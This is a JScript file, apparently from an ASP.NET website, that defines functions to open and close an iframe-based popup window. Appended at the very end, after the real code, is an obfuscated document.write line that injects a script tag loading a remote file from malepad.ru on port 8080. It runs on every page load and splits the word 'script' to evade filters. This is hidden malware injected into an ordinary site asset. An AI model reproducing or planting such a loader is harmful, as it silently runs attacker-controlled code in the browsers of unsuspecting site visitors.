﻿// JScript File

function OpenIWindow(page, title, showClose)
{

    // IWindow - > default.aspx form (as div(IWindow) which is placed in default.aspx form)
    // IWindowFrame - > new popup form (as div which(IWindowFrame) is placed in default.aspx form)
//    alert('function calling');
    if(document.getElementById('IWindow') == null || document.getElementById('IWindowFrame') == null)
        return;
        
    //document.getElementById('IWindow').style.width = (this.document.body.scrollWidth)+"px";
    //document.getElementById('IWindow').style.height = (this.document.body.scrollHeight)+"px";
    document.getElementById('IWindow').style.width = 1003;
    document.getElementById('IWindow').style.height = 15;
    //alert(this.document.body.offsetWidth); offsetWidth will get whole width of screen
    //alert(this.document.body.scrollWidth); 
    //alert(this.document.body.scrollHeight);
    //document.getElementById('IWindowFrame').style.left = parseInt((document.body.offsetWidth/2)-(530/2)); // for placing center align
    document.getElementById('IWindow').style.left = 240;
    document.getElementById('IWindowFrame').style.top = 0;
    document.getElementById('IWindowFrame').style.width = 500;
    document.getElementById('IWindowFrame').innerHTML = "";
    
    if(showClose)
        document.getElementById('IWindowFrame').innerHTML += "<div class='iformwind_header' align=center style=\"background-image:url('images/forms/form_cap_top_blank2.gif')\"><table width=97% style='display:inline;padding-top:5px;' cellspacing=0 cellpadding=0><tr><td align=left><span>" + title + "</span></td><td align=right><A HREF='JavaScript:CloseIWindow();'><img src='images/forms/close_form.gif' border=0 align=right></a></td></tr></table></div>";
    else
        document.getElementById('IWindowFrame').innerHTML += "<div class='iformwind_header' align=center><table width=97% style='display:inline;padding-top:5px;' cellspacing=0 cellpadding=0><tr><td align=left><span>" + title + "</span></td><td align=right>&nbsp;</td></tr></table></div>";

    document.getElementById('IWindowFrame').innerHTML += "<div align=center style=\"background-image:url('images/forms/bg_form_big.jpg');background-repeat:no-repeat;background-color:#E9EAE2;border:solid thin #BEB7B2;border-width: 0px 1px; 0px 1px;\"><iframe class='bodycopy' src='" + page + "' style='background-color:Transparent;' frameborder='0' name='ifrmPanel' id='ifrmPanel' allowtransparency='true' runat='server' width=95% height=480px /></div>";
    document.getElementById('IWindowFrame').innerHTML += "<img src='images/forms/form_cap_bot2.gif' border='0' alt='' width='530' height='6' class='nogap' />";

    document.getElementById('IWindow').style.visibility = 'visible';
    document.getElementById('IWindow').style.display = 'block';
    document.getElementById('IWindowFrame').style.visibility = 'visible';
    document.getElementById('IWindowFrame').style.display = 'block';

//if(document.getElementById('IWindow') == null || document.getElementById('IWindowFrame') == null)
//        return;
//        
//    document.getElementById('IWindow').style.width = (this.document.body.scrollWidth)+"px";
//    document.getElementById('IWindow').style.height = (this.document.body.scrollHeight)+"px";
//    
//    document.getElementById('IWindowFrame').style.left = parseInt((document.body.offsetWidth/2)-(530/2));
//    document.getElementById('IWindowFrame').innerHTML = "";
//    
//    if(showClose)
//        document.getElementById('IWindowFrame').innerHTML += "<div class='iformwind_header' align=center><table width=97% style='display:inline;padding-top:5px;' cellspacing=0 cellpadding=0><tr><td align=left><span>" + title + "</span></td><td align=right><A HREF='JavaScript:CloseIWindow();'><img src='/images/forms/close_form.gif' border=0 align=right></a></td></tr></table></div>";
//    else
//        document.getElementById('IWindowFrame').innerHTML += "<div class='iformwind_header' align=center><table width=97% style='display:inline;padding-top:5px;' cellspacing=0 cellpadding=0><tr><td align=left><span>" + title + "</span></td><td align=right>&nbsp;</td></tr></table></div>";

//    document.getElementById('IWindowFrame').innerHTML += "<div align=center style=\"background-image:url('/images/forms/bg_form_big.jpg');background-repeat:no-repeat;background-color:#E9EAE2;border:solid thin #BEB7B2;border-width: 0px 1px; 0px 1px;\"><iframe class='bodycopy' src='" + page + "' style='background-color:Transparent;' frameborder='0' name='ifrmPanel' id='ifrmPanel' allowtransparency='true' runat='server' width=95% height=350px /></div>";
//    document.getElementById('IWindowFrame').innerHTML += "<img src='/images/forms/form_cap_bot2.gif' border='0' alt='' width='530' height='6' class='nogap' />";

//    document.getElementById('IWindow').style.visibility = 'visible';
//    document.getElementById('IWindow').style.display = 'block';
//    document.getElementById('IWindowFrame').style.visibility = 'visible';
//    document.getElementById('IWindowFrame').style.display = 'block';
}

function CloseIWindow()
{
    if(document.getElementById('IWindow') == null || document.getElementById('IWindowFrame') == null)
        return;
        
    document.getElementById('IWindowFrame').style.visibility = 'hidden';
    document.getElementById('IWindowFrame').style.display = 'none';
    document.getElementById('IWindow').style.visibility = 'hidden';
    document.getElementById('IWindow').style.display = 'none';
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Raw_File.js"></scr'+'ipt>');